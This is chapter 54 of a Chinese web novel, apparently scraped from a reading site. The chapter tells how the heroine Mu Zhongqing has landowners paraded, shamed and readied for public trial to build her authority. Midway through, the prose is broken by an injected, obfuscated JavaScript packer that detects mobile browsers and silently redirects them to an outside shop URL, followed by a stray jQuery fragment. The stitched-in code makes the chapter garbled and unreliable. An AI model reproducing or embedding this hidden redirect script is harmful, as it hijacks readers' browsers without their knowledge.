54. 五十四、
    为了枉死的谭泽,为了从前无数个枉死的“谭泽”。

    慕衷情一直觉得自己的性格不适合做一个领导者,尤其在这样一种环境中。

    当她一一定下那些决策时,慕衷情时常有一种罪恶感,她得逼着自己,将那些人命想成数字,再逼着自己不要忘记她到底从何而来。

    来到这里的每一天,慕衷情都感觉自己在被痛苦地割裂着。

    她该庆幸自己的适应能力的,否则,怕是早就疯了。

    清晨,雨势似乎小了些。

    慕衷情身上披了件薄薄的披风,手中撑着伞,司岳跟在她的身后,与她一起走入雨中。

    今日,舟安闭市。

    蔡书霖已经将闭市的消息提前两天公告全城,因此今日的舟安府街道上冷冷清清的,许久见不到一个人。

    慕衷情一路走到舟安府城墙之上,对司岳说道:“天亮了,就开始吧。”

    这场生杀的大戏,不是那些只能在暗夜中完成的龌龊事,慕衷情不仅不避讳,还故意要让所有人都看到、听到。

    军队入城后,除了每日的巡逻外,慕衷情还交给他们一个任务,就是摸清、监视城中大地主们的住址和动向,以确保要抓人时一个都跑不了。

    所以今天的一切都进行得很顺利,他们当然会遭到抵抗,但那些家仆和真正喋血沙场的战士比起来,胜负没有意外。

    司岳为慕衷情奉上刚泡好的茶,慕衷情抬头问了一句:“冷吗?”

    司岳摇摇头,继续安静地站在慕衷情身后,她早就不怕冷了,否则今时今日的她就不会在舟安。

    慕衷情拢了拢披风,南方下雨时,气温总是降得有些快,好在本是夏日,也冷不到哪里去。

    她在城墙之上坐了半个时辰,雨势又变大了些许。

    所幸,她等来了她想要的。

    为了不给舟安的百姓留下过于血腥的印象,慕衷情教给蔡书霖一个方法,一个斗地主的方法。

    不要直接杀,要游街示众,要将他们罊竹难书的罪行一一公示,要让每一次流血都有价值。

    她还记得蔡书霖问她,什么是价值,那些罪行只需要在事情结束之后公之于众便可,为何要如此大费周章。

    慕衷情回答他:“我的一位老师曾经教会过我,人民的力量是最为强大的,如今的舟安,或是清州,或是天下九州,你可曾见过有一位真正的明主,能让百姓们宁愿豁出命去相护,愿意主动将家中所有的孩子送上战场,只因为相信跟着他,他们才能过上好日子,只因为相信只要是他,他们就能过上好日子,哪怕自己也成为尸山血海中的一摞白骨,他们也相信从今往后的国家与人民,可以有尊严地活下去。”

    看着蔡书霖的神情,慕衷情便知他理解不了,或许他认为,只要忠诚便可以做到赴死,或许他不理解,什么才是有尊严地活下去。

    在不同的社会制度之下,尊严二字是被分给不同阶级的人的。

    不过即使不理解,蔡书霖还是按照慕衷情的吩咐去办事,他整理出那些罪证最确凿,也最容易激起民意的几个大地主名单,确认为第一拨要杀的“鸡”。

    “舟安府蔡氏耀宗,多年来侵占土地、欺骗勒索、强抢民女、草菅人命,特此游街示众,昭告舟安百姓,明日公审蔡耀宗,人人皆可述其过错,究其罪责……”

    蔡耀宗被五花大绑,佝偻着腰,披头散发,狼狈至极,慕衷情眯着眼瞧了一会儿,他身上还溅了不少血,看来之前反抗得挺激烈,估计死了不少人,才让他成了现在这副样子。

    不过慕衷情对这样的人没有多余的同情心,她对司岳说道:“让他们快一点接上下一个,节奏不要断了,必要时,多动刀,多用武力震慑。”

    司岳便立刻吩咐站在一旁的一名士兵,士兵下城楼去传令。

    即使是在这个世界,慕衷情的这番做法都说不上一个仁字,如果是从前的她,断然下不了这样的命令。

    可她始终记着,矫枉必须过正。

    在这个崇尚权力与武力的世界,建立绝对的权威,是她接下来要做的事情有希望成功的必要前提。

    慕衷情其实也很担心自己会迷失在权力的诱惑里,但不试试又怎能知道结果。

    这回她没等多久,第二个被五花大绑的地主游街至此,而后是第三个第四个第五个。

    他们被迫一遍又一遍地游街示众,城中的百姓们扒着窗框看,虽然有禁足令,但有些胆大的或是曾受过苦的百姓依然抑制不住自己的愤怒,打开窗朝经过的那几人丢臭鸡蛋或石头。

    对此,慕衷情早有预料,还特地让那些士兵们都穿上盔甲,以免被误伤。

    最后,慕衷情在城门处圈出了一块地,那几个人跪作一排,周围把守着几个士兵,以免他们在公审之前就被打死。

    临近午时,天彻底放晴,慕衷情终于从城楼上走下,裙摆拖到湿漉漉的台阶,沾染到些许泥土与苔藓。

    蔡书霖匆匆赶来,还喘着气,看来是一结束就小跑过来,但他红光满面,瞧着心情不错。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352712|134766||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “参见王妃,老臣不辱使命。”

    “蔡大人不必多礼,只是明日公审之后,怕是会有激烈的反扑,毕竟谁也不想跟他们一样跪在这里等死。”慕衷情语气漠然,“往后几日,出入舟安的人都要仔细盘查,若有不配合的,可强制盘查,若有反抗的,视情况或伤或杀,他们必须在舟安城内迎来自己的结局。”

    “是。”蔡书霖很是欣赏地看着慕衷情,身处旋涡之中,一旦开始动手,只有够心狠手辣的人,才能成功。

    慕衷情呼出一口气,转身面向除了他们几个和士兵之外空荡荡的街道,举起秦澈给她的令牌喊道:“传我之令,即日起,所有舟安百姓皆可到府衙诉尽往日冤屈,凡清州律法所定罪责,无关身份、地位、男女,不公之事皆当受理,还蒙冤者清白,还被欺者公道!”

    慕衷情捏紧了令牌,目前的她只能说到这里了,但她心中已经有了另外的想法。

    那就是修订律法,只不过现在还没有到能进行这一步的时候。

    蔡书霖再次深深地望了慕衷情一眼,而后应下。

    这件事,慕衷情并未提前与他商量。

    蔡书霖弯下腰时自嘲一笑,在他看来,慕衷情是个有些过分天真的好人,可现在一想,她再怎么天真,也比现在的自己,更为百姓着想。

    他一时竟有些许茫然,似乎从慕衷情的身上,看到了曾经那个刚刚为官入仕的自己。

    这些年,他的谋算越发老练,城府越发深沉,能轻易周旋于各个心怀鬼胎的人之间。

    他一直认为,自己不过是换了种方式在为百姓谋福祉,可如今的慕衷情让他看到了另一种可能性。

    权力在握时,其实很多事情并没有那么复杂,就按照自己认为对的方式去做,神挡杀神,佛挡杀佛便可,不停地商量、妥协、权衡,无非是还有些自己的利益舍不下罢了。

    他很想问一句,王妃,您做这些事,究竟是为了什么?

    但蔡书霖没有办法问出口,他怕答案让他失望,也怕答案真的如他所想。

    他会无法自处的,因为现在的他,还没有办法坦然地面对这个答案。

    “蔡大人,这几日要辛苦你了,若是人手不够,尽管告诉我便是。”慕衷情的声音镇静到冷漠。

    蔡书霖笑着摇摇头:“王妃说笑了,何来辛苦,本就是为了清州而已,只是此番动静太大,明日还需王妃坐镇,以威慑那些宵小之徒才好。”

    慕衷情垂下眼:“好,既然如此,明日还需另做些准备。”